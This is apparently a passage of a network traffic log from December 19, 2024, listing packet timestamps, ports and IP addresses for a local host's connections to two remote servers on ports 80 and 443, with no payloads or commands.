Dec 19, 2024 16:10:30.348776102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.349643946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.349714041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.349752903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.350253105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.350660086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.350698948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.350831032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.351475000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.351562023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.351603031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.351767063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.352073908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.352566957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.352593899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.352610111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.352637053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.353565931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.353650093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.353703022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.354563951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.354604959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.354681015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.354716063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.355606079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.355650902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.355680943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.355866909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.356514931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.356553078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.356662989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.356854916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.357456923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.357568979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.357608080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.358486891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.358582020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.358625889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.359323978 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.359352112 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.359391928 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.359399080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.359409094 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.359450102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.359458923 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.359458923 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.359534025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.359586000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.360398054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.360569000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.360610962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.361453056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.361546993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.361592054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.362411976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.362477064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.362548113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.363665104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.363677979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.363718987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.364398003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.364522934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.364531040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.364568949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.365412951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.365427971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.365464926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.365498066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.366317034 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.366343975 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.366403103 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.366410971 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.366416931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.366426945 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.366461992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.366463900 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.366569042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.367464066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.367477894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.367512941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.367532969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.368350983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.368365049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.368412971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.369263887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.369297981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.369349003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.370296001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.370310068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.370353937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.371355057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.371371984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.371409893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.371444941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.372271061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.372319937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.372348070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.372364044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.373223066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.373275995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.373297930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.373337984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.373403072 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.373426914 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.373480082 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.373505116 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.373544931 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.373544931 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.374103069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.374154091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.374155045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.374202967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.375155926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.375226021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.375232935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.375595093 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.376090050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.376164913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.376174927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.376214027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.377064943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.377113104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.377160072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.377228022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.378037930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.378124952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.378170967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.380091906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.380137920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.380192995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.380295992 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.380321026 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.380403042 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.380403042 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.380423069 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.380577087 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.380697966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.380769014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.380812883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.381378889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.381443024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.381488085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.381927967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.381969929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.382108927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.382256031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.382956982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.382999897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.383022070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.383058071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.386461020 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.386487007 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.386589050 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.386589050 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.386609077 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.386692047 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.393162012 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.393336058 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.393354893 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.393429995 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.400016069 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.400043011 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.400125027 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.400142908 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.402523994 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.407026052 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.407046080 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.407124043 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.407141924 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.409704924 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.522933006 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.524662018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.524718046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.524734974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.524774075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.525589943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.525638103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.526163101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.526217937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.526360035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.526402950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.527327061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.527427912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.527465105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.527496099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.528065920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.528112888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.528160095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.528192043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.528743982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.528795958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.528846979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.528891087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.529381990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.529445887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.529484034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.529525995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.530277014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.530319929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.530353069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.530397892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.531147957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.531183958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.531241894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.531279087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.532135010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.532181025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.532270908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.532305002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.533179998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.533221960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.533243895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.533420086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.534122944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.534173965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.534264088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.534378052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.535116911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.535171032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.535222054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.535382032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.536194086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.536365032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.536382914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.536587954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.537158966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.537214994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.537360907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.537683010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.538031101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.538084984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.538150072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.538197041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.538985014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.539056063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.539103031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.540039062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.540132999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.540157080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.540179968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.540957928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.541002035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.541080952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.541126013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.541968107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.542006016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.542278051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.542443037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.543034077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.543072939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.543100119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.543134928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.543915987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.543950081 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.544167042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.544218063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.544955969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.544998884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.545027018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.545392036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.545849085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.545885086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.546032906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.546118021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.546794891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.546838999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.546915054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.546998024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.547964096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.548064947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.548089981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.548110962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.549127102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.549160957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.549181938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.549211025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.549935102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.549978018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.550010920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.550201893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.550844908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.550904036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.550913095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.550960064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.551819086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.551862955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.551953077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.551985025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.552844048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.552890062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.552952051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.553278923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.553797960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.554039001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.554079056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.554860115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.554918051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.554938078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.555927992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.555972099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.556018114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.556197882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.556799889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.556823969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.556895971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.557559013 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.557588100 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.557651043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.557651043 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.557663918 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.557707071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.557714939 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.557749987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.558260918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.558643103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.558803082 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.558851004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.559557915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.559603930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.559634924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.559680939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.560609102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.560686111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.560710907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.560810089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.561558008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.561609030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.561675072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.561716080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.562472105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.562565088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.562616110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.563513994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.563661098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:30.563705921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:30.564114094 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.564142942 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:30.564198971 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.564198971 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:30.564207077 CET	443	49888	185.199.109.133	192.168.2.6
